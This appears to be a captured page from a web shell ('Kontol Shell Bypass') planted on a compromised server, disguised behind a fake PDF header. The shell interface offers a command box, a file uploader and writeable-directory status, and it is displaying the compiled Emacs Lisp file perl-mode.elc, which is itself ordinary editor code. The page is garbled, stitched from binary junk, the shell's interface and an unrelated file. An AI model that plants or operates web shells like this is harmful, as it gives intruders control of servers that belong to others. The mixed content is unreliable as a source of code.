%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /usr/share/emacs/25.2/lisp/progmodes/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //usr/share/emacs/25.2/lisp/progmodes/perl-mode.elc
;ELC
;;; Compiled
;;; in Emacs version 25.2.1
;;; with all optimizations.

;;; This file uses dynamic docstrings, first added in Emacs 19.29.

;;; This file does not contain utf-8 non-ASCII characters,
;;; and so can be loaded in Emacs versions earlier than 23.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


(custom-declare-group 'perl nil "Major mode for editing Perl code." :link '(custom-group-link :tag "Font Lock Faces group" font-lock-faces) :prefix "perl-" :group 'languages)
#@43 Abbrev table in use in perl-mode buffers.
(defvar perl-mode-abbrev-table nil (#$ . 585))
(define-abbrev-table 'perl-mode-abbrev-table nil)
#@27 Keymap used in Perl mode.
(defvar perl-mode-map (byte-code "\300 \301\302\303#\210\301\304\305#\210\301\306\307#\210\301\310\311#\210\301\312\313#\210\211\207" [make-sparse-keymap define-key "" perl-beginning-of-function "" perl-end-of-function "" perl-mark-function "" perl-indent-exp "" backward-delete-char-untabify] 5) (#$ . 730))
#@45 Syntax table in use in `perl-mode' buffers.
(defvar perl-mode-syntax-table (byte-code "\300\301 !\302\303\304#\210\302\305\306#\210\302\307\310#\210\302\311\312#\210\302\313\312#\210\302\314\315#\210\302\316\317#\210\302\320\315#\210\302\321\315#\210\302\322\315#\210\302\323\315#\210\302\324\315#\210\302\325\315#\210\302\326\315#\210\302\327\330#\210\302\331\317#\210\302\332\315#\210\211\207" [make-syntax-table standard-syntax-table modify-syntax-entry 10 ">" 35 "<" 36 "/" 37 ". p" 64 38 "." 39 "\"" 42 43 45 47 60 61 62 92 "\\" 96 124] 5) (#$ . 1085))
#@74 Imenu generic expression for Perl mode.  See `imenu-generic-expression'.
(defvar perl-imenu-generic-expression '((nil "^[ 	]*sub\\s-+\\([-[:alnum:]+_:]+\\)" 1) ("Variables" "^\\(?:my\\|our\\)\\s-+\\([$@%][-[:alnum:]+_:]+\\)\\s-*=" 1) ("Packages" "^[ 	]*package\\s-+\\([-[:alnum:]+_:]+\\);" 1) ("Doc sections" "^=head[0-9][ 	]+\\(.*\\)" 1)) (#$ . 1666))
(defconst perl--prettify-symbols-alist '(("->" . 8594) ("=>" . 8658) ("::" . 8759)))
#@43 Subdued level highlighting for Perl mode.
(defconst perl-font-lock-keywords-1 '(("\\<\\(package\\|sub\\)\\>[ 	]*\\(\\sw+\\)?" (1 font-lock-keyword-face) (2 font-lock-function-name-face nil t)) ("\\<\\(import\\|no\\|require\\|use\\)\\>[ 	]*\\(\\sw+\\)?" (1 font-lock-keyword-face) (2 font-lock-constant-face nil t))) (#$ . 2110))
#@41 Gaudy level highlighting for Perl mode.
(defconst perl-font-lock-keywords-2 (byte-code "\301\302\303B\"\207" [perl-font-lock-keywords-1 append "\\<\\(BEGIN\\|END\\|d\\(?:ie\\|o\\|ump\\)\\|e\\(?:ls\\(?:e\\|if\\)\\|val\\|x\\(?:ec\\|it\\)\\)\\|for\\(?:each\\)?\\|if\\|return\\|un\\(?:less\\|til\\)\\|while\\)\\>" (("\\<\\(local\\|my\\)\\>" . font-lock-type-face) ("&\\(\\sw+\\(::\\sw+\\)*\\)" 1 font-lock-function-name-face) ("[$*]{?\\(\\sw+\\(::\\sw+\\)*\\)" 1 font-lock-variable-name-face) ("\\([@%]\\|\\$#\\)\\(\\sw+\\(::\\sw+\\)*\\)" (2 (cons font-lock-variable-name-face '(underline)))) ("<\\(\\sw+\\)>" 1 font-lock-constant-face) ("\\<\\(continue\\|goto\\|last\\|next\\|redo\\)\\>[ 	]*\\(\\sw+\\)?" (1 font-lock-keyword-face) (2 font-lock-constant-face nil t)) ("^[ 	]*\\(\\sw+\\)[ 	]*:[^:]" 1 font-lock-constant-face))] 4) (#$ . 2445))
#@48 Default expressions to highlight in Perl mode.
(defvar perl-font-lock-keywords perl-font-lock-keywords-1 (#$ . 3292))
(defvar perl-quote-like-pairs '((40 . 41) (91 . 93) (123 . 125) (60 . 62)))
(defconst perl--syntax-exp-intro-keywords '("split" "if" "unless" "until" "while" "print" "grep" "map" "not" "or" "and" "for" "foreach"))
(defconst perl--syntax-exp-intro-regexp (byte-code "\301\302!\303Q\207" [perl--syntax-exp-intro-keywords "\\(?:\\(?:^\\|[^$@&%[:word:]]\\)" regexp-opt "\\|[-?:.,;|&+*=!~({[]\\|\\(^\\)\\)[ 	\n]*"] 3))
(defalias 'perl-syntax-propertize-function #[514 "\304b\210\305!\210`b\210`W\205/\306\307\310#\205/\311\224\203-\312\311\224\311\225\313\314$\210\202\315\224\203>\312\315\224\315\225\313\316$\210\202\317\224\203|\320\321!\211A\322\233\241\210\323!\266\311\224\311\225\311\225f\324=\205g\212\317\325\326\224!8)??\205l\327\211\203w\312\313$\210\266\202\330\224\203\215\312\330\224\330\225\313\331$\210\202\332\224\203\261\320\321!\211A\333\233\241\210\323!\266\312\311\224\311\225\313\334$\210\305!\210\202\322\224\203\302\312\322\224\322\225\313\335$\210\202\336\224\203\376\320\321!\211A\337\233\241\210\323!\266\311\224\203\344\312\311\224\311\225\313\340$\210\315\224\203\362\312\315\224\315\225\313\341$\210\312\326\224\326\225\342\310$\210\202\343\224\203X\320\321!\211A\344\233\241\210\323!\266\311\225\203H\212\311\225b\210\345d[!\210\312`\315\225\342\310$\210hz\346=\203?`\347\311!\210`{	\235\262\206D`Sf\350>)\203\312\315\224\315\225\313\334$\210\305!\210\202\351\224\203\252\320\321!\211A\352\233\241\210\323!\266\212\326\224b\210\353\354!\210\355\310\356!)\262)\204\357\212\325\311\224!)8\204\312\317\224\317\225\313\360\317\224f\"\203\240\361\202\241\334$\210\305!\210\202\362\224\203\320\321!\211A\363\233\241\210\323!\266\317\224\317\225\364\317\224\313\"\365\311!\311\225b\210\212\357\325\326\224!8)\203\335\202\366\326H\211\367=\203\356\311\304O\202\374\211\370>\203\373\311\354O\202\374\262ABB\266\202\211\203\312\313$\210\266\202\371\224\203\320\321!\211A\372\233\241\210\323!\266\305!\210\202\266\202)\207" [case-fold-search perl--syntax-exp-intro-keywords inhibit-changing-match-data perl-quote-like-pairs nil perl-syntax-propertize-special-constructs re-search-forward "^=cut\\>.*\\(\n\\)\\|^\\(=\\)\\sw\\|\\(\\$\\)[{']\\|\\$ ?{?^?[_[:alpha:]][_[:alnum:]]*\\('\\)[_[:alpha:]]\\|^[ 	]*format.*=[ 	]*\\(\n\\)\\|\\<sub\\(?:[ 	\n]+\\(?:\\sw\\|\\s_\\)+\\)?[ 	\n]*(\\([^)]+\\))\\|\\(^\\(_\\)_\\(?:DATA\\|END\\)__[ 	]*\\(?:\\(\n\\)#.-\\*-.*perl.*-\\*-\\|\n.*\\)\\)\\|\\(?:\\(?:^\\|[^$@&%[:word:]]\\)\\(?:and\\|for\\(?:each\\)?\\|grep\\|if\\|map\\|not\\|or\\|print\\|split\\|un\\(?:less\\|til\\)\\|while\\)\\|[-?:.,;|&+*=!~({[]\\|\\(^\\)\\)[ 	\n]*\\(/\\)\\|\\(^\\|[?:.,;=!~({[ 	]\\)\\([msy]\\|q[qxrw]?\\|tr\\)\\>\\s-*\\(?:\\([^])}>= \n	]\\)\\|\\(?14:=\\)[^>]\\)\\|\\(?:<<[ 	]*\\('[^'\n]*'\\|\"[^\"\n]*\"\\|\\\\[[:alpha:]][[:alnum:]]*\\)\\|\\(?:\\(?:^\\|[^$@&%[:word:]]\\)\\(?:and\\|for\\(?:each\\)?\\|grep\\|if\\|map\\|not\\|or\\|print\\|split\\|un\\(?:less\\|til\\)\\|while\\)\\|[-?:.,;|&+*=!~({[]\\|\\(^\\)\\)[ 	\n]*<<\\(?15:\\sw+\\)\\).*\\(\n\\)\\|\\(\\(?:$\\)\\s<\\)" t 1 put-text-property syntax-table (2097164) 2 (2097163) 3 match-data ints 6 set-match-data 39 syntax-ppss 0 (1048577) 4 (3) 5 10 (7) (1) 7 16 (8388619) (8388620) syntax-multiline 11 20 forward-comment 119 backward-sexp (63 58 46 44 59 61 33 126 40 91) 14 24 forward-word-strictly -1 "sub[ 	\n]" looking-at 8 assoc (15) 17 30 get-text-property match-string 8388619 92 (96 39 34) 18 38] 13 "\n\n(fn START END)"])
#@67 Syntax table used internally for processing quote-like operators.
(defvar perl-empty-syntax-table (byte-code "\300 \301\302\211W\203\211\303I\266\211T\262\202\266\304\305\306#\210\211\207" [copy-syntax-table 256 0 (1) modify-syntax-entry 92 "\\"] 7) (#$ . 6942))
(defalias 'perl-quote-syntax-table #[257 "\211\236A\302	!\204\303\304#\210\202 \303\305#\210\303\306#\210\207" [perl-quote-like-pairs perl-empty-syntax-table copy-syntax-table modify-syntax-entry "\"" "(" ")"] 7 "\n\n(fn CHAR)"])
#@69 Propertize special constructs like regexps and formats.

(fn LIMIT)
(defalias 'perl-syntax-propertize-special-constructs #[257 "\301 \302\3038\304=\203K\305\3068\307\"A\211A\203!\310!\262\3068b\210\211\205F\311\312\313\211A\262\242!\314Q\315#\205F\211\204!\316`S`\307\317$\210\202!\262\202u\3208\211\262\203c\321!\203g\3208z\322=\203g\302\202u\3208\323=\203\201\311\324\315#\205u\316`S`\307\325$\202u\3068f\262`\212\3068b\210\326\327!\210\326\330!\210`\331\332!\210`{\333\235)\236A\334!\307 p\335\336\337\340\341\"\342\"\304$\216\343!\210\203\335\3441\325\3068Tb\210\345\332!\210\3460\202\210b\210\302\202\306\347\203\354\306\n8T\202\355`\302\211
\307&8\206\205?\205\306\347`\302\211
\307&8?)\266\202\205s`S\206`Sf\350=\203.\316`\304Z`S\307\351$\210\316`S`\307\203;\352\202<\325$\210\205s\205s\316`\353d!\210`\354\346$\210`W\205s\316``T\307\355\302f\"\203i\356\202j\357$\210\332u\210\360!\266\204\207" [perl-quote-like-pairs syntax-ppss nil 7 2 get-text-property 8 syntax-table reverse re-search-forward "^" regexp-quote "\n" move put-text-property (8388620) 3 characterp 34 10 "^\\s *\\.\\s *\n" (7) skip-syntax-backward " " "w" forward-word-strictly 1 ("tr" "s" "y") perl-quote-syntax-table make-byte-code 0 "r\301q\210\302\300!)\207" vconcat vector [set-syntax-table] set-syntax-table (scan-error) up-list t parse-partial-sexp 36 (1) (15) forward-comment syntax-multiline assoc (15 . 101) (7 . 101) perl-syntax-propertize-special-constructs] 17 (#$ . 7463)])
(defalias 'perl-font-lock-syntactic-face-function #[257 "\3028\203s\303\3048\305\"\243\306=\203s\307\3048f\211	\236\305 p\310\311\312\313\314\"\315\"\316$\216\317\320!!\210\212\204F\321`d\307\211	\305&\210\202[\3221W\3048Tb\210\323\324!0\202Z\210db\210\325\3048`\326\327$\210\330\331!*\266\202)\266\202\203s\307\207\332\333!!\207" [parse-sexp-lookup-properties perl-quote-like-pairs 3 get-text-property 8 syntax-table 101 nil make-byte-code 0 "r\301q\210\302\300!)\207" vconcat vector [set-syntax-table] 2 set-syntax-table perl-quote-syntax-table parse-partial-sexp (scan-error) up-list 1 put-text-property jit-lock-defer-multiline t looking-at "[ 	]*\\sw*e" default-value font-lock-syntactic-face-function] 12 "\n\n(fn STATE)"])
(byte-code "\300\301\302\303\304DD\305\306\307%\210\300\310\302\303\311DD\312\306\307%\210\300\313\302\303\314DD\315\306\307%\210\300\316\302\303\317DD\320\306\307%\210\300\321\302\303\322DD\323\306\307%\210\300\324\302\303\325DD\326\306\307%\210\300\327\302\303\330DD\331\306\332%\210\300\333\302\303\334DD\335\336\337\306\340&\210\300\341\302\303\342DD\343\306\340%\210\300\344\302\303\345DD\346\306\340%\210\300\347\302\303\350DD\351\306\352\353\354&\207" [custom-declare-variable perl-indent-level funcall function #[0 "\300\207" [4] 1] "Indentation of Perl statements with respect to containing block." :type integer perl-continued-statement-offset #[0 "\300\207" [4] 1] "Extra indent for lines not starting new statements." perl-continued-brace-offset #[0 "\300\207" [-4] 1] "Extra indent for substatements that start with open-braces.\nThis is in addition to `perl-continued-statement-offset'." perl-brace-offset #[0 "\300\207" [0] 1] "Extra indentation for braces, compared with other text in same context." perl-brace-imaginary-offset #[0 "\300\207" [0] 1] "Imagined indentation of an open brace that actually follows a statement." perl-label-offset #[0 "\300\207" [-2] 1] "Offset of Perl label lines relative to usual indentation." perl-indent-continued-arguments #[0 "\300\207" [nil] 1] "If non-nil offset of argument lines relative to usual indentation.\nIf nil, continued arguments are aligned with the first argument." (choice integer (const nil)) perl-indent-parens-as-block #[0 "\300\207" [nil] 1] "Non-nil means that non-block ()-, {}- and []-groups are indented as blocks.\nThe closing bracket is aligned with the line of the opening bracket,\nnot the contents of the brackets." :version "24.3" boolean perl-tab-always-indent #[0 "\207" [tab-always-indent] 1] "Non-nil means TAB in Perl mode always indents the current line.\nOtherwise it inserts a tab character if you type it past the first\nnonwhite character on the line." perl-tab-to-comment #[0 "\300\207" [nil] 1] "Non-nil means TAB moves to eol or makes a comment in some cases.\nFor lines which don't need indenting, TAB either indents an\nexisting comment, moves to end-of-line, or if at end-of-line already,\ncreate a new comment." perl-nochange #[0 "\300\207" [#1="\f"] 1 #1#] "Lines starting with this regular expression are not auto-indented." regexp :options (";?#\\|\f\\|\\s(\\|\\(\\w\\|\\s_\\)+:[^:]")] 8)
(defvar perl-outline-regexp (byte-code "\301\302\303#\304P\207" [perl-imenu-generic-expression mapconcat cadr "\\|" "\\|^=cut\\>"] 4))
(defalias 'perl-outline-level #[0 "\300\301!\203\f\302\224\303\224Z\207\300\304!\203\302\224\303\224Z\207\300\305!\203)\303\225\206$`Sf\306Z\207\300\307!\2031\302\207\310\207" [looking-at "[ 	]*\\(package\\)\\s-" 1 0 "[ 	]*s\\(ub\\)\\s-" "=head[0-9]" 48 "=cut" 3] 2])
#@52 The `add-log-current-defun' function in Perl mode.
(defalias 'perl-current-defun-name #[0 "\212\300\301\302\303#\205\f\304\305!)\207" [re-search-backward "^sub[ 	]+\\([^({ 	\n]+\\)" nil t match-string-no-properties 1] 4 (#$ . 12578)])
#@45 Normal hook to run when entering Perl mode.
(defvar perl-mode-hook nil (#$ . 12820))
#@161 Hook run after entering Perl mode.
No problems result if this variable is not bound.
`add-hook' automatically binds it.  (This is true for all hook variables.)
(defvar perl-mode-hook nil (#$ . 12912))
(byte-code "\300\301!\204\f\302\301\303\304#\210\300\207" [boundp perl-mode-map put definition-name perl-mode] 4)
(defvar perl-mode-map (make-sparse-keymap))
(byte-code "\300\301N\204\302\300\301\303\304!#\210\305\306!\204\302\306\307\310#\210\300\207" [perl-mode-map variable-documentation put purecopy "Keymap for `perl-mode'." boundp perl-mode-syntax-table definition-name perl-mode] 5)
(defvar perl-mode-syntax-table (make-syntax-table))
(byte-code "\300\301N\204\302\300\301\303\304!#\210\302\305\306\307#\207" [perl-mode-syntax-table variable-documentation put purecopy "Syntax table for `perl-mode'." perl-mode derived-mode-parent prog-mode] 5)
#@2155 Major mode for editing Perl code.
Expression and list commands understand all Perl brackets.
Tab indents for Perl code.
Comments are delimited with # ... \n.
Paragraphs are separated by blank lines only.
Delete converts tabs to spaces as it moves back.
\{perl-mode-map}
Variables controlling indentation style:
 `perl-tab-always-indent'
    Non-nil means TAB in Perl mode should always indent the current line,
    regardless of where in the line point is when the TAB command is used.
 `perl-tab-to-comment'
    Non-nil means that for lines which don't need indenting, TAB will
    either delete an empty comment, indent an existing comment, move
    to end-of-line, or if at end-of-line already, create a new comment.
 `perl-nochange'
    Lines starting with this regular expression are not auto-indented.
 `perl-indent-level'
    Indentation of Perl statements within surrounding block.
    The surrounding block's indentation is the indentation
    of the line on which the open-brace appears.
 `perl-continued-statement-offset'
    Extra indentation given to a substatement, such as the
    then-clause of an if or body of a while.
 `perl-continued-brace-offset'
    Extra indentation given to a brace that starts a substatement.
    This is in addition to `perl-continued-statement-offset'.
 `perl-brace-offset'
    Extra indentation for line if it starts with an open brace.
 `perl-brace-imaginary-offset'
    An open brace following other text is treated as if it were
    this far to the right of the start of its line.
 `perl-label-offset'
    Extra indentation for line that is a label.
 `perl-indent-continued-arguments'
    Offset of argument lines relative to usual indentation.

Various indentation styles:       K&R  BSD  BLK  GNU  LW
  perl-indent-level                5    8    0    2    4
  perl-continued-statement-offset  5    8    4    2    4
  perl-continued-brace-offset      0    0    0    0   -4
  perl-brace-offset               -5   -8    0    0    0
  perl-brace-imaginary-offset      0    0    4    0    0
  perl-label-offset               -5   -8   -2   -2   -2

Turning on Perl mode runs the normal hook `perl-mode-hook'.
(defalias 'perl-mode #[0 "\306\300!\210\307\310 \210\311\312\310\313N\203\314\311\313\310\313N#\210\315!\204'\316\317 \"\210\320\f!\211\2035\211\321 =\203;\322\f\323 \"\210\210\324!\210\325\f!\210
;\306\326!\210\327<P\306\330!\210\306\331!\210\307\306\332!\210\333\306\334!\210\335\306\336!\210\337\306\340!\210\341 \306\342!\210\343\"\306\344!\210\307$\345=\306\346!\210>&\306\347!\210\350'\351\352\353\354\355$\210\306\356!\210\354\357.\".\351\360\361\362\307$\210\306\363!\210?3\362@\306\364!\210A4\306\365!\210\3665\306\367!\210\3707)\371\372!\207" [delay-mode-hooks major-mode mode-name perl-mode-map perl-mode-syntax-table perl-mode-abbrev-table make-local-variable t prog-mode perl-mode "Perl" mode-class put keymap-parent set-keymap-parent current-local-map char-table-parent standard-syntax-table set-char-table-parent syntax-table use-local-map set-syntax-table paragraph-start "$\\|" paragraph-separate paragraph-ignore-fill-prefix indent-line-function perl-indent-line comment-start "# " comment-end "" comment-start-skip "\\(^\\|\\s-\\);?#+ *" comment-indent-function perl-comment-indent parse-sexp-ignore-comments ((perl-font-lock-keywords perl-font-lock-keywords-1 perl-font-lock-keywords-2) nil nil ((95 . "w")) nil (font-lock-syntactic-face-function . perl-font-lock-syntactic-face-function)) prettify-symbols-alist syntax-propertize-function perl-syntax-propertize-function add-hook syntax-propertize-extend-region-functions syntax-propertize-multiline append local electric-indent-chars (123 125 59 58) electric-indent-functions perl-electric-noindent-p nil imenu-generic-expression outline-regexp outline-level perl-outline-level add-log-current-defun-function perl-current-defun-name run-mode-hooks perl-mode-hook local-abbrev-table page-delimiter font-lock-defaults perl--prettify-symbols-alist perl-imenu-generic-expression imenu-case-fold-search perl-outline-regexp] 5 (#$ . 13780) nil])
(defalias 'perl-comment-indent #[0 "n\203\nl\204\n\301\207\207" [comment-column 0] 1])
(byte-code "\300\301\302\303#\210\304\301\302\305#\207" [defalias electric-perl-terminator perl-electric-terminator nil make-obsolete "22.1"] 4)
(defalias 'perl-electric-noindent-p #[257 "l?\205\300\207" [no-indent] 2 "\n\n(fn CHAR)"])
#@135 Insert character and maybe adjust indentation.
If at end-of-line, and not in a comment or a quote, correct the indentation.

(fn ARG)
(defalias 'perl-electric-terminator #[257 "`\204Ml\203M\212\302 \210\205\303\304#?\205=	\305U\203&\306\307!\205=\310\311 \"\3128\206:\3138\206:\3148?\262)\203M\315	\316\"\210\317 \210\320\321!\210\210\322\323!!\207" [comment-start-skip last-command-event beginning-of-line re-search-forward t 58 looking-at "\\s-*\\(\\w\\|\\s_\\)+$" parse-partial-sexp perl-beginning-of-function 3 4 5 insert-char 1 perl-indent-line delete-char -1 self-insert-command prefix-numeric-value] 6 (#$ . 18224) "P"])
(make-obsolete 'perl-electric-terminator 'electric-indent-mode "24.4")
#@907 Indent Perl code in the active region or current line.
In Transient Mark mode, when the region is active, reindent the region.
Otherwise, with a prefix argument, reindent the current line
unconditionally.

Otherwise, if `perl-tab-always-indent' is nil and point is not in
the indentation area at the beginning of the line, insert a tab.

Otherwise, indent the current line.  If point was within the
indentation area, it is moved to the end of the indentation area.
If the line was already indented properly and point was not
within the indentation area, and if `perl-tab-to-comment' is
non-nil (the default), then do the first possible action from the
following list:

  1) delete an empty comment
  2) move forward to start of comment, indenting if necessary
  3) move forward to end of line
  4) create an empty comment
  5) move backward to start of comment, indenting if necessary.

(fn &optional ARG)
(defalias 'perl-indent-command #[256 "\303 \203\f\304\305 \306 \"\207\211\203\307\310!\207\204\"i\311 V\203\"\312 \207`\313 \210`\314 b\210\307\315!	\205\340`U\205\340\211<\203K\3168\206E\211\262\202N\211\317U\205\340\320\210`\320f\321U\203iU\205\336\322\323!\202\336\324\"\262\3258\203\204U\205\336\322\326\3258\"\202\336\3278\204\225U\205\336\330 \202\336\313 \210\n\203\314\331\n\332#\203\314l\203\266\317\224b\210\333\320x\210`|\202\336`W\204\302U\203\307\330 \202\336\320\202\336U\204\327\320\202\336\322\334!\210\335\336!\266\202\207" [perl-tab-always-indent perl-tab-to-comment comment-start-skip use-region-p indent-region region-beginning region-end perl-indent-line "\f" current-indentation insert-tab beginning-of-line perl-beginning-of-function "\f\\|;?#" 2 0 nil 61 message "In a format statement" parse-partial-sexp 3 "In a string which starts with a %c." 4 indent-for-comment re-search-forward move " 	" "Use backslash to quote # characters." ding t] 11 (#$ . 18950) "P"])
(make-obsolete 'perl-indent-command 'indent-according-to-mode "24.4")
#@158 Indent current line as Perl code.
Return the amount the indentation
changed by, or (parse-state) if line starts in a quoted string.

(fn &optional NOCHANGE)
(defalias 'perl-indent-line #[256 "\302d`Z\302\211\211\303 \210`\262\304\305 8\306=\203\307\202O\310 \211\262<\203)\202O\311=\2033\202O\312\206:	!\203B\307\202O\313\302w\210\314\302\"\262iZ\262\313\302w\210\211\247\203g\211\307U\204g`|\210j\210dZ`V\203tdZb\210)\207" [case-fold-search perl-nochange nil beginning-of-line 7 syntax-ppss 1 0 perl-calculate-indent noindent looking-at " 	\f" perl-indent-new-calculate] 9 (#$ . 20980)])
#@63 Move to end of previous line and return non-nil if continued.
(defalias 'perl-continuation-line-p #[0 "\300 \210h\301=\203`\302Zfz\303>\203\304 \210\300 \210\202h\305>?\205$h\207" [perl-backward-to-noncomment 58 2 (119 95) beginning-of-line (59 125 123)] 2 (#$ . 21605)])
#@64 Non-nil if we are right after a hanging parenthesis-like char.
(defalias 'perl-hanging-paren-p #[0 "\300\301!\205\212\302\303!\210n)?\207" [looking-at "[ 	]*$" skip-syntax-backward " ("] 2 (#$ . 21890)])
(defalias 'perl-indent-new-calculate #[512 "\203\212\302\303x\210n)\203i\206m\304\305!\203%\306\206\307 \\]\206mgz\310U\203L\212\306u\210\3111=\312\313!\210\3140\202B\210\303\202H\205H\315\316!)\206mg\317U\203g\212\303u\210\320 )\203g\211\206b\307 	\\\206m\211\206m\307 \207" [perl-label-offset perl-brace-offset " 	" nil looking-at "\\(\\w\\|\\s_\\)+:[^:]" 1 perl-calculate-indent 41 (scan-error) forward-sexp -1 t perl-indent-new-calculate virtual 123 perl-hanging-paren-p] 5 "\n\n(fn &optional VIRTUAL DEFAULT)"])
#@176 Return appropriate indentation for current line as Perl code.
In usual case returns an integer: the column to indent to.
Returns (parse-state) if line starts inside a string.
(defalias 'perl-calculate-indent #[0 "\212`\306\307\306\211\211\310!A@\262\3118\204\3128\313=\203#\314\202O\211\204R\315\306w\210g	\2034\316\2025\317>\203=\307\202O\320 \210o\204Jh\321>\203N\307\202O\n\202O\211f\322U\204\236\211Tb\210\323 \203\213\324\325!\210\3261\200\212\324\327!\210n)?\205|\330\331!\210\202j0\202\204\210\202\205\210i\\\202O\f\203\226\f\332 \\\202O\333\306w\210i\202O\334 \211\262\203\340\335 \210\336\212\334 )\204\275\337=\203\301\340\341!\203\301\307\202\302\ni\212b\210\340	\203\321\342\202\322\343!)\203\333
\202\334\307#\202O\211b\210\212\344u\210\345\306w\210\340\346!\203\367\344y\210\202\347\340\347!\203\350 \262\351\352!\204\347`W\205`V\203\332 ,Z\202i)\206O\336n\2033\307U\2033-\n\\\2024\333\306x\210n\203@\307\202B.h\353=\203L\330\331!\210\332 #)\266\206)\207" [case-fold-search perl-indent-parens-as-block perl-continued-statement-offset perl-indent-level perl-indent-continued-arguments perl-continued-brace-offset nil 0 syntax-ppss 3 7 2 noindent " 	\f" (123 40 91) (123) perl-backward-to-noncomment (59 125) 123 perl-hanging-paren-p skip-syntax-backward "(" (scan-error) " " forward-sexp -1 current-indentation " 	" perl-continuation-line-p perl-backward-to-start-of-continued-exp + 44 looking-at "[[:alnum:]_]+[ 	\n]*=>" "[ 	]*[{([]" "[ 	]*{" 1 " 	\f\n" ";?#" "\\(\\w\\|\\s_\\)+:[^:]" line-end-position search-forward ":" 41 perl-label-offset perl-brace-offset perl-brace-imaginary-offset] 11 (#$ . 22643)])
#@76 Move point backward to after the first non-white-space, skipping comments.
(defalias 'perl-backward-to-noncomment #[0 "\300d[!\207" [forward-comment] 2 (#$ . 24344)])
(defalias 'perl-backward-to-start-of-continued-exp #[0 "h\211\300>\203\301d!\210\302\202?\211\303>\203\"\304\305!\210\301`[!\210\306\202?\211z\307=\2036\310\305!\210\301`[!\210\306\202?\305u\210\301`[!\210\306\262\205G\202\207" [(59 123 91 40) forward-comment nil (41 93 125 34) forward-sexp -1 t 119 forward-word-strictly] 3])
(defalias 'indent-perl-exp 'perl-indent-exp)
#@56 Indent each line of the Perl grouping following point.
(defalias 'perl-indent-exp #[0 "\303\304 \212\305\210\306 \210\304 )\303\211\211\211\307!f\310U\203!\311\312!\202\262\311\313!\210\314 \262\212m\204=`X\203=\315`d\316#\210\202*\304 \262)\262\317 \210`\307!W\203\251\320\303!\262\211\247\203el\203a\321 \210\304 \262\303\210`\262\322\315\307!\"8\203\243\317 \210\323\324!\203\224\211<\204\224\211\316U\204\243\325 Z	U\203\243\n\203\243\326\n\327#\203\243\330 \210\331y\210\202H\307!b\210\311\332!)\207" [case-fold-search comment-column comment-start-skip nil point-marker 2 perl-beginning-of-function marker-position 61 message "Can't indent a format statement" "Indenting Perl expression..." line-end-position parse-partial-sexp 0 beginning-of-line perl-indent-line delete-horizontal-space 4 looking-at "\\s-*;?#" current-indentation re-search-forward t indent-for-comment 1 "Indenting Perl expression...done"] 10 (#$ . 24901) nil])
#@197 Move backward to next beginning-of-function, or as far as possible.
With argument, repeat that many times; negative args move forward.
Returns new value of point in all cases.

(fn &optional ARG)
(defalias 'perl-beginning-of-function #[256 "\211\204\300\262\211\301W\203\300u\210\211\301U\204$\302\303\304\305$\203$\301\225Sb\210`\207" [1 0 re-search-backward "^\\s(\\|^\\s-*sub\\b[ 	\n]*\\_<[^{]+{\\|^\\s-*format\\b[^=]*=\\|^\\." nil move] 6 (#$ . 25881) "p"])
#@203 Move forward to next end-of-function.
The end of a function is found by moving forward from the beginning of one.
With argument, repeat that many times; negative args move backward.

(fn &optional ARG)
(defalias 'perl-end-of-function #[256 "\211\204\300\262\301\302V\203Q`dW\203Q`\203$\300u\210\303\300!\210o\203/o\204+\304u\210\303\304!\210\305\262\306\300!\210\307\305w\210\310\311!\203C\300y\210`X\204\210S\262\202\302W\205\220`\303\300!\210\312\300!\210\300y\210`Y\203\210\303\313!\210o\204\205\306\300!\210\307\305w\210\310\311!\203\210\300y\210\202\210eb\210\210T\262\202Q\207" [1 t 0 perl-beginning-of-function -1 nil forward-list " 	" looking-at "[#\n]" forward-sexp 2] 5 (#$ . 26358) "p"])
(defalias 'mark-perl-function 'perl-mark-function)
#@55 Put mark at end of Perl function, point at beginning.
(defalias 'perl-mark-function #[0 "\300`!\210\301 \210\300`!\210\302 \210\303 \207" [push-mark perl-end-of-function perl-beginning-of-function backward-paragraph] 2 (#$ . 27143) nil])
(provide 'perl-mode)

Kontol Shell Bypass